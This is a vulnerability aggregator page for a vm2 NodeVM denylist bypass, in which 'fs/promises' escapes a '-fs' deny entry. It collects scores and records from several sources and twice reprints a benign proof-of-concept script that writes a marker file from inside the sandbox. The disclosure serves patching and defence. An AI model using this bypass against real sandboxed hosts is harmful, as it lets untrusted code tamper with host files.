CVE-2026-92958
vm2 before 3.11.7 Denylist Bypass via fs/promises
vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
8.4
vm2 before 3.11.7 Denylist Bypass via fs/promises
vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.
- Record
CVE-2026-92958- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L - CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L - Weakness
- CWE-269
- Updated
- 2026-11-02
EUVDEUVD-2026-81607
8.4
vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.
- Record
EUVD-2026-81607- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-6rh5-qq4q-97xh
8.5
vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
Summary
NodeVM's builtin wildcard policy can allow sandboxed code to access fs/promises even when the embedder denies fs.
With the following configuration:
require: {
builtin: ['*', '-fs', '-child_process']
}
require('fs') and require('child_process') are blocked, but require('fs/promises') and require('node:fs/promises') are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.
Affected Mode
NodeVM.
Affected Configuration
new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
This affects configurations where users rely on negative builtin entries such as -fs to deny filesystem access while using the '*' builtin wildcard.
Affected Files / Functions
lib/builtin.jsDANGEROUS_BUILTINSBUILTIN_MODULESmakeBuiltinsFromLegacyOptionsaddDefaultBuiltin
lib/resolver.jsResolver.resolveResolver.loadBuiltinModule
lib/setup-node-sandbox.jsrequireImpl
Root Cause
lib/builtin.js builds BUILTIN_MODULES from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
This means -fs removes only the exact builtin named fs. It does not remove builtin subpaths such as fs/promises.
There is also inconsistent node: prefix handling. require('node:fs/promises') resolves through the same builtin capability, but a negative entry such as -node:fs/promises does not block require('fs/promises').
Security Boundary Crossed
Sandboxed code can perform host filesystem writes even though the embedder denied fs.
Impact
Confirmed impact:
- Host file creation
- Host file write
The proof uses fs/promises.writeFile() to create a harmless temporary file containing a marker string.
Additional reachable APIs on fs/promises include filesystem operations such as cp, mkdir, rename, rm, rmdir, truncate, and others. These were not used destructively in the proof.
Safe Local Reproduction
Tested on Node.js v24.14.0.
This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.
'use strict';
const fs = require('fs');
const os = require('os');
const path = require('path');
const { NodeVM } = require('./');
const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);
const marker = `vm2-fs-promises-marker-${process.pid}`;
try {
fs.unlinkSync(proofPath);
} catch (_) {}
(async () => {
const vm = new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
const result = await vm.run(`
module.exports = (async () => {
const r = {};
try {
require('fs');
r.fsLoaded = true;
} catch (e) {
r.fsBlocked = true;
r.fsError = e && e.code;
}
try {
require('child_process');
r.childProcessLoaded = true;
} catch (e) {
r.childProcessBlocked = true;
r.childProcessError = e && e.code;
}
const fsp = require('fs/promises');
r.fsPromisesLoaded = true;
r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();
await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');
r.wrote = true;
return r;
})();
`);
const exists = fs.existsSync(proofPath);
const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;
console.log(JSON.stringify({
result,
hostFileExists: exists,
hostFileContent: content
}, null, 2));
try {
fs.unlinkSync(proofPath);
} catch (_) {}
})().catch(error => {
try {
fs.unlinkSync(proofPath);
} catch (_) {}
console.error(error);
…
- Record
GHSA-6rh5-qq4q-97xh- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L - Weakness
- CWE-269, CWE-284
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-7c3p-84r8-h79q
8.4
Duplicate Advisory: vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-6rh5-qq4q-97xh. This link is maintained to preserve external references.
Original Description
vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.
- Record
GHSA-7c3p-84r8-h79q- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L - Weakness
- CWE-269
- Updated
- 2026-11-02
NVD
8.4
vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.
- Record
CVE-2026-92958- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L - Weakness
- CWE-269
- Updated
- 2026-11-02
OSV
8.4
vm2 before 3.11.7 Denylist Bypass via fs/promises
vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.
- Record
CVE-2026-92958- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L - Weakness
- CWE-269
- Updated
- 2026-11-02
Show 5 moreShow less
OSVGHSA-6rh5-qq4q-97xh
8.5
vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
Summary
NodeVM's builtin wildcard policy can allow sandboxed code to access fs/promises even when the embedder denies fs.
With the following configuration:
require: {
builtin: ['*', '-fs', '-child_process']
}
require('fs') and require('child_process') are blocked, but require('fs/promises') and require('node:fs/promises') are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.
Affected Mode
NodeVM.
Affected Configuration
new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
This affects configurations where users rely on negative builtin entries such as -fs to deny filesystem access while using the '*' builtin wildcard.
Affected Files / Functions
lib/builtin.jsDANGEROUS_BUILTINSBUILTIN_MODULESmakeBuiltinsFromLegacyOptionsaddDefaultBuiltin
lib/resolver.jsResolver.resolveResolver.loadBuiltinModule
lib/setup-node-sandbox.jsrequireImpl
Root Cause
lib/builtin.js builds BUILTIN_MODULES from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
This means -fs removes only the exact builtin named fs. It does not remove builtin subpaths such as fs/promises.
There is also inconsistent node: prefix handling. require('node:fs/promises') resolves through the same builtin capability, but a negative entry such as -node:fs/promises does not block require('fs/promises').
Security Boundary Crossed
Sandboxed code can perform host filesystem writes even though the embedder denied fs.
Impact
Confirmed impact:
- Host file creation
- Host file write
The proof uses fs/promises.writeFile() to create a harmless temporary file containing a marker string.
Additional reachable APIs on fs/promises include filesystem operations such as cp, mkdir, rename, rm, rmdir, truncate, and others. These were not used destructively in the proof.
Safe Local Reproduction
Tested on Node.js v24.14.0.
This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.
'use strict';
const fs = require('fs');
const os = require('os');
const path = require('path');
const { NodeVM } = require('./');
const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);
const marker = `vm2-fs-promises-marker-${process.pid}`;
try {
fs.unlinkSync(proofPath);
} catch (_) {}
(async () => {
const vm = new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
const result = await vm.run(`
module.exports = (async () => {
const r = {};
try {
require('fs');
r.fsLoaded = true;
} catch (e) {
r.fsBlocked = true;
r.fsError = e && e.code;
}
try {
require('child_process');
r.childProcessLoaded = true;
} catch (e) {
r.childProcessBlocked = true;
r.childProcessError = e && e.code;
}
const fsp = require('fs/promises');
r.fsPromisesLoaded = true;
r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();
await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');
r.wrote = true;
return r;
})();
`);
const exists = fs.existsSync(proofPath);
const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;
console.log(JSON.stringify({
result,
hostFileExists: exists,
hostFileContent: content
}, null, 2));
try {
fs.unlinkSync(proofPath);
} catch (_) {}
})().catch(error => {
try {
fs.unlinkSync(proofPath);
} catch (_) {}
console.error(error);
…
- Record
GHSA-6rh5-qq4q-97xh- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L - Weakness
- CWE-269, CWE-284
- Updated
- 2026-11-02
OSVGHSA-7c3p-84r8-h79q
8.4
Duplicate Advisory: vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-6rh5-qq4q-97xh. This link is maintained to preserve external references.
Original Description
vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7.
- Record
GHSA-7c3p-84r8-h79q- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L - Weakness
- CWE-269
- Updated
- 2026-11-02
OSVCLSA-2026-1790888247 No score
TuxCare security update for vm2 (15 CVEs)
TuxCare rebuilt vm2 to address 15 CVEs. Fixed in 3.11.5-tuxcare.3.
- Record
CLSA-2026-1790888247- Updated
- 2026-11-02
OSVCLSA-2026-1790940570 No score
TuxCare security update for vm2 (1 CVE)
TuxCare rebuilt vm2 to address 1 CVE. Fixed in 3.10.0-tuxcare.3.
- Record
CLSA-2026-1790940570- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-92958 No score
CVE-2026-92958 in vm2 - Patched by Root
Root has patched CVE-2026-92958 in the vm2 package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-92958- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
vm2npm |
through 3.11.6 | 3.11.7 |
vm2TuxCare:npm From an advisory covering 13 CVEs |
3.11.5-tuxcare.0 up to 3.11.5-tuxcare.3, plus listed versions 3.11.53.11.5-tuxcare.13.11.5-tuxcare.2 |
3.11.5-tuxcare.3 |
vm2TuxCare:npm |
3.10.0-tuxcare.0 up to 3.10.0-tuxcare.3, plus listed versions 3.10.03.10.0-tuxcare.13.10.0-tuxcare.2 |
3.10.0-tuxcare.3 |
vm2npm |
before 3.11.7 | 3.11.7 |
vm2Root:npm |
before 3.11.6-aikido.1 | 3.11.6-aikido.1 |
@rootio/vm2Root:npm |
before 3.11.6-root.io.1 | 3.11.6-root.io.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-92958 is a high vulnerability (CVSS 8.4) in Patriksimek Vm2, published September 17, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.38%, the 32nd percentile. Fixed in vm2 3.11.7.
References
github.com/patriksimek/vm2/security/advisories/GHSA-6rh5-qq4q-97xh
vulncheck.com/advisories/vm2-before-3.11.7-denylist-bypass-via-fs-promises
nvd.nist.gov/vuln/detail/CVE-2026-92958
github.com/patriksimek/vm2/commit/59d35f68e52a9bd229a8a72bcd9274bd4cec2bc5
github.com/patriksimek/vm2/releases/tag/v3.11.7
github.com/advisories/GHSA-6rh5-qq4q-97xh
github.com/advisories/GHSA-7c3p-84r8-h79q
github.com/CVEProject/cvelistV5/tree/main/cves/2026/92xxx/CVE-2026-92958.json
github.com/patriksimek/vm2
Left out here: the rest of 2 source descriptions. The JSON record has them.